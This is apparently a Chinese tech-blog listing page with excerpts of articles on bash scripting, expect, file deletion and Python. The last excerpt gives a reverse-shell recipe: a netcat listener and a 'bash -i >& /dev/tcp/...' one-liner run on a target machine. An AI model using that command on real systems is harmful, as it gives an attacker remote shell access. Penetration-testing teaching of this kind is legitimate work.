前面的话 作为程序员,每天与电脑打交道的时间可能比家人还多。所以,掌握一些电脑常识,处理棘手问题是必备技能 删除文件 一些文件由于各种原因,无法直接删除。例如,我在卸载git时,安装目录下有一个git_shell_ext64.dll文件无法删除 解决办法是修改其后缀名,如git_shell_ext6 ...
分类:
其他好文 时间:
2020-06-28 12:48:26
阅读次数:
71
Python 是一种跨平台的计算机程序设计语言。 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越多被用于独立的、大型项目的开发。 在您开始之前,建材网将需要 Python,但您可能不需要下载它。首先 ...
分类:
编程语言 时间:
2020-06-28 11:23:21
阅读次数:
101
1、判断1.1 if语句if condition;then commandfi示例:#!/bin/bashif [ `ps -elf | grep -c ssh` -gt 1 ]; then echo "true"fi命令行展示:if [ `ps -elf | grep -c ssh` -gt 1 ...
分类:
系统相关 时间:
2020-06-28 00:39:18
阅读次数:
78
1、解释器 1.1 shell认识 Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。 Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。 shell是解释器的总称,bash ...
分类:
系统相关 时间:
2020-06-28 00:38:00
阅读次数:
106
1 shell函数1.1 函数定义[ function ] funname [()]{ action; [return int;]}说明:(1)可以带function fun()定义,也可以直接fun()定义,不带任何参数(2)参数返回return,如果不加,将以最后一条命令运行结果作为返回值 de ...
分类:
系统相关 时间:
2020-06-28 00:14:59
阅读次数:
65
1、整数运算工具 原生bash不支持简单的数学运算,需要命令协助使用 1)expr命令 乘法操作应采用 \* 转义,避免被作为Shell通配符;参与运算的整数值与运算操作符之间需要以空格分开,引用变量时必须加$符号 X=1234 expr $X + 78 a=`expr 2 + 2` echo $a ...
分类:
系统相关 时间:
2020-06-28 00:05:55
阅读次数:
76
shell expect spawn、linux expect 用法小记 看着舒服点 mezheng 2012-01-09 23:40:24 19138 收藏 1 分类专栏: shell 文章标签: shell linux 脚本 windows bash cmd 使用expect实现自动登录的脚本, ...
分类:
系统相关 时间:
2020-06-27 11:35:53
阅读次数:
62
转自https://www.cnblogs.com/ting152/p/12554480.html 1.组命令 组命令,就是将多个命令划分为一组,或者看成一个整体。 用法区别 Shell 组命令的写法有两种: { command1; command2;. . .; }(command1; comma ...
分类:
系统相关 时间:
2020-06-27 11:33:17
阅读次数:
67
假设本机地址10.10.10.11,监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > / ...
分类:
系统相关 时间:
2020-06-26 23:49:20
阅读次数:
66